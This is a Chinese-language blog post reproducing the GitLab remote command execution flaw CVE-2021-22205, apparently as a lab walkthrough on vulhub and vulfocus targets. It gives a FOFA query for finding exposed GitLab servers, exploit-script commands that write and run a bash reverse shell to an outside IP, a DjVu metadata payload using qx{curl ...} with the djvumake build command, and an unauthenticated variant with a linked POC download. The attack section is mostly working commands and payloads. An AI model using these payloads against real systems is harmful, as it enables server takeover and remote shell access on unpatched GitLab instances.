GitLab 远程命令执行漏洞复现(CVE-2021-22205)

简介: GitLab 远程命令执行漏洞复现(CVE-2021-22205)

一、漏洞描述

GitLab 没有正确验证传递给文件解析器的图像文件,这导致远程命令执行,可执行系统命令。这是一个严重的问题。它现在在最新版本中得到缓解,漏洞编号CVE-2021-22205

二、影响范围

以下版本范围内的 GitLab(CE/EE)受到漏洞影响:

11.9 <=  GitLab(CE/EE)< 13.8.8
13.9 <=  GitLab(CE/EE)< 13.9.6
13.10 <= GitLab(CE/EE)< 13.10.3

三、fofa搜索

自己人不打自己人

title="GitLab"

页面长这样

四、环境搭建

git clone https://github.com/vulhub/vulhub.git
cd vulhub/gitlab/CVE-2021-22205/
docker-compose up -d

docker配置中设置的端口映射到本地的8080端口,bp开着的记得换一下端口

环境启动后,访问http://127.0.0.1:8080即可查看到GitLab的登录页面

五、脚本复现

1 下载工具

https://github.com/Al1ex/CVE-2021-22205

git到本地,由于执行命令无回显,可以使用dnslog外带回显结果

http://dnslog.cn/

获取一个dnslog的url,替换到脚本里面

开始唆

2 检测漏洞是否存在

python3 CVE-2021-22205.py -v true -t http://10.0.1.12:8080/

3 命令执行

试一下先,不知道为什么我这里没有dnslog回显

python3 CVE-2021-22205.py -a true -t http://10.0.1.12:8080/ -c "curl http://4.xx.xx.6/1.txt"

但是服务器可以看出已经成功执行

4 反弹shell

# 写入反弹shell脚本
python3 CVE-2021-22205.py -a true -t http://10.0.1.12:8080/ -c "echo 'bash -i >& /dev/tcp/4.xx.xx.6/6666 0>&1' > /tmp/1.sh"
# 给执行权限
python3 CVE-2021-22205.py -a true -t http://10.0.1.12:8080/ -c "chmod +x /tmp/1.sh"
# 服务器监听6666端口
nc -lvnp 6666
# 运行,获取git权限shell
python3 CVE-2021-22205.py -a true -t http://10.0.1.12:8080/ -c "/bin/bash /tmp/1.sh"

六、手工复现-有授权

1 上传点

vulhub截止到今天2021.11.2,我今天拉的docker,gitlab环境有点问题,注册账号需要管理员审核,但找不到管理员账号密码。。。

换vulfocus靶场,搭建之后访问,会跳转到设置密码的页面,设置root新密码就可以登录啦,页面长这样

搞个普通用户复现漏洞,注册ch4nge用户

登录后到个人主页,找到Snippets,新建

此处需要上传DjVu格式图片(即Exp)

2 DjVu格式图片制作方式

下载安装DjVuLibre地址

http://djvu.sourceforge.net/

准备好将要压缩图片的文本

(metadata
  (Copyright "\
" . qx{curl cc.n443pb.dnslog.cn} . \
" b ") )

生成Exp

djvumake rce.djvu INFO=0,0 BGjp=/dev/null ANTa=rce.txt && mv rce.djvu rce.jpg

3 上传Exp

虽然报错,但是已经执行了命令

将恶意代码修改为远程访问文件试一下

(metadata
  (Copyright "\
" . qx{curl http://4.xx.xx.6/1.txt} . \
" b ") )

4 命令执行

成功执行,之后没必要一次次生成文件了,上传文件的时候使用burpsuite抓包,直接在包里改命令就好

七、手工复现-未授权

有些gitlab是没法直接注册用户使用的,这就用到未授权获取cookie。POC都是我登录账号之后抓的

1 获取cookie

使用登录页面返回的 Cookie 值和 csrf-token 值

POC

GET /users/sign_in HTTP/1.1
Host: 10.11.1.120:8020
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:93.0) Gecko/20100101 Firefox/93.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close

2 RCE

使用登录页面返回的 Cookie 值和 csrf-token 值,成功实现 RCE。

3 POC下载

文件下载

https://change.lanzouw.com/iJySRw2kr8j

密码:love

下载后导入bp的重放器,改host就行

八、解决方案

升级到最新版本。

要更新 GitLab,请参阅更新页面。要更新 Gitlab Runner,请参阅更新 Runner 页面

九、参考

https://about.gitlab.com/releases/2021/04/14/security-release-gitlab-13-10-3-released/

https://github.com/Al1ex/CVE-2021-22205

https://blog.csdn.net/smellycat000/article/details/121005824

https://www.wangan.com/p/7fygfydb5d6d0c1e

相关文章
|
存储 安全 前端开发
gitlab漏洞系列-RDoc wiki页面中的存储型XSS
背景 复现步骤 gitlab漏洞系列-RDoc wiki页面中的存储型XSS
167 0
gitlab漏洞系列-RDoc wiki页面中的存储型XSS
|
存储 安全 JavaScript
gitlab漏洞系列-存在于markdown中的存储型XSS
背景 复现步骤 影响 绕过csp示例 后续
188 0
|
安全 Shell Linux
CVE-2021-22205——Gitlab 远程命令执行漏洞复现
CVE-2021-22205——Gitlab 远程命令执行漏洞复现
1583 0
CVE-2021-22205——Gitlab 远程命令执行漏洞复现
|
云安全 存储 监控
Gitlab远程代码执行漏洞(CVE-2021-22205)在野利用,8220挖矿团伙最新变种分析
阿里云安全监测到Gitlab远程代码执行(CVE-2021-22205)在野利用,其团伙不仅利用4层协议服务进行入侵,还集成了使用比较广的Web RCE漏洞。
970 0
Gitlab远程代码执行漏洞(CVE-2021-22205)在野利用,8220挖矿团伙最新变种分析
|
5月前
|
Shell Docker 容器
GitlabCI学习笔记之一:安装Gitlab和GitLabRunner
GitlabCI学习笔记之一:安装Gitlab和GitLabRunner
|
4月前
|
Docker 容器
Docker安装Gitlab和Gitlab-Runner并实现项目CICD
Docker安装Gitlab和Gitlab-Runner并实现项目CICD
下一篇
开通oss服务